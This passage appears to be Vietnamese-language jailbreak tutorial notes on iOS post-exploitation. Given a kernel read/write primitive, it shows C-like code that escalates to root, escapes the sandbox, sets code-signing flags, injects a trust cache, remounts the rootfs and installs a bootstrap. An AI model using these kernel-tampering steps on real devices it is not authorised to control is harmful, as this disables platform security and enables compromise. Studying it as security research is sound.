Sau khi có kernel read/write, đây là các bước biến primitive thành full jailbreak.


Post-Exploitation Steps

Step 1: Get Root

// Tìm current process
uint64_t proc = find_proc_by_pid(getpid());
// Đọc p_ucred pointer
uint64_t ucred = kread64(proc + off_p_ucred);
// Ghi uid = 0
kwrite32(ucred + off_cr_uid, 0);
kwrite32(ucred + off_cr_ruid, 0);
kwrite32(ucred + off_cr_svuid, 0);
kwrite32(ucred + off_cr_gid, 0);
kwrite32(ucred + off_cr_rgid, 0);
// Verify
assert(getuid() == 0);

Step 2: Escape Sandbox

// Option A: NULL sandbox slot
uint64_t sandbox_slot = kread64(ucred + off_cr_label + off_sandbox_slot);
kwrite64(ucred + off_cr_label + off_sandbox_slot, 0);

// Option B: Copy sandbox from unsandboxed process (e.g., launchd)
uint64_t launchd_proc = find_proc_by_pid(1);
uint64_t launchd_ucred = kread64(launchd_proc + off_p_ucred);
uint64_t launchd_sandbox = kread64(launchd_ucred + off_cr_label + off_sandbox_slot);
kwrite64(ucred + off_cr_label + off_sandbox_slot, launchd_sandbox);

Step 3: Set Platform Binary Flag

// Platform binary flag cho phép dùng private entitlements
uint32_t csflags = kread32(proc + off_p_csflags);
csflags |= CS_PLATFORM_BINARY;
csflags |= CS_INSTALLER;
csflags |= CS_GET_TASK_ALLOW;
csflags &= ~CS_RESTRICT;
csflags &= ~CS_HARD;
csflags &= ~CS_KILL;
kwrite32(proc + off_p_csflags, csflags);

Step 4: Bypass Code Signing (Trust Cache Injection)

// Tìm trustcache linked list trong kernel
uint64_t tc_head = kernel_slide + off_pmap_image4_trust_caches;

// Allocate kernel memory cho new trust cache
uint64_t new_tc = kalloc(sizeof(trust_cache_v2) + n_entries * sizeof(trust_cache_entry_v2));

// Fill trust cache entries với cd_hashes của jailbreak binaries
for (int i = 0; i < n_entries; i++) {
    kwrite(new_tc + header_size + i * entry_size, &entries[i], entry_size);
}

// Link vào head of list
uint64_t old_head = kread64(tc_head);
kwrite64(new_tc + off_tc_next, old_head);
kwrite64(tc_head, new_tc);

Step 5: Remount / Bind Mount

iOS < 15 (rootful jailbreak):

// Remount rootfs as read-write
uint64_t rootvnode = kread64(kernel_slide + off_rootvnode);
uint32_t mount_flags = kread32(rootvnode + off_v_mount + off_mnt_flag);
mount_flags &= ~MNT_RDONLY;
mount_flags &= ~MNT_NOSUID;
kwrite32(rootvnode + off_v_mount + off_mnt_flag, mount_flags);
mount("apfs", "/", MNT_UPDATE, ...);

iOS 15+ (rootless jailbreak):

SSV (Signed System Volume) prevents rootfs modification.
Instead: bind mounts
  mount --bind /var/jb/usr/lib /usr/lib
  → /usr/lib now serves content from /var/jb/usr/lib
  → System partition unchanged

Step 6: Install Bootstrap

1. Inject jailbreak dylib vào launchd (PID 1)
   → Hook posix_spawn/exec → inject into all new processes
2. Install package manager (Sileo, Zebra)
3. Install tweak injection framework (Ellekit, Substitute)
4. Install essential tools (SSH, dpkg, apt)

Rootless layout (/var/jb/):
  /var/jb/
  ├── usr/
  │   ├── bin/     ← dpkg, apt, ssh, ...
  │   └── lib/     ← tweaks, frameworks
  ├── Library/
  │   ├── MobileSubstrate/
  │   │   └── DynamicLibraries/  ← tweak .dylib files
  │   └── PreferenceBundles/     ← tweak settings
  └── etc/

Modern vs Classic Jailbreak

Aspect Classic (iOS ≤14) Modern (iOS 15+)
Rootfs Read-write remount Bind mounts (rootless)
Code signing Patch AMFI + amfid hook Trust cache injection
Kernel patches Direct kernel text patch KPF (kernel patchfinder) patches data only
Tweak injection CydiaSubstrate / Substitute Ellekit / libhooker
Package manager Cydia Sileo / Zebra
Persistence Semi-untethered app Semi-untethered app

Kernel Patchfinder (KPF)

KPF tự động tìm kernel offsets bằng cách scan kernelcache:

Input: kernelcache binary
Output: offsets cho mọi symbol/struct field cần thiết

Cần tìm:
  - allproc (process list head)
  - kernel_task (kernel task struct)
  - rootvnode (root filesystem vnode)
  - pmap_image4_trust_caches (trust cache list)
  - Struct field offsets (p_ucred, cr_uid, ...)
  
Phương pháp:
  - Pattern matching trên ARM64 instructions
  - String reference tracing
  - Cross-reference analysis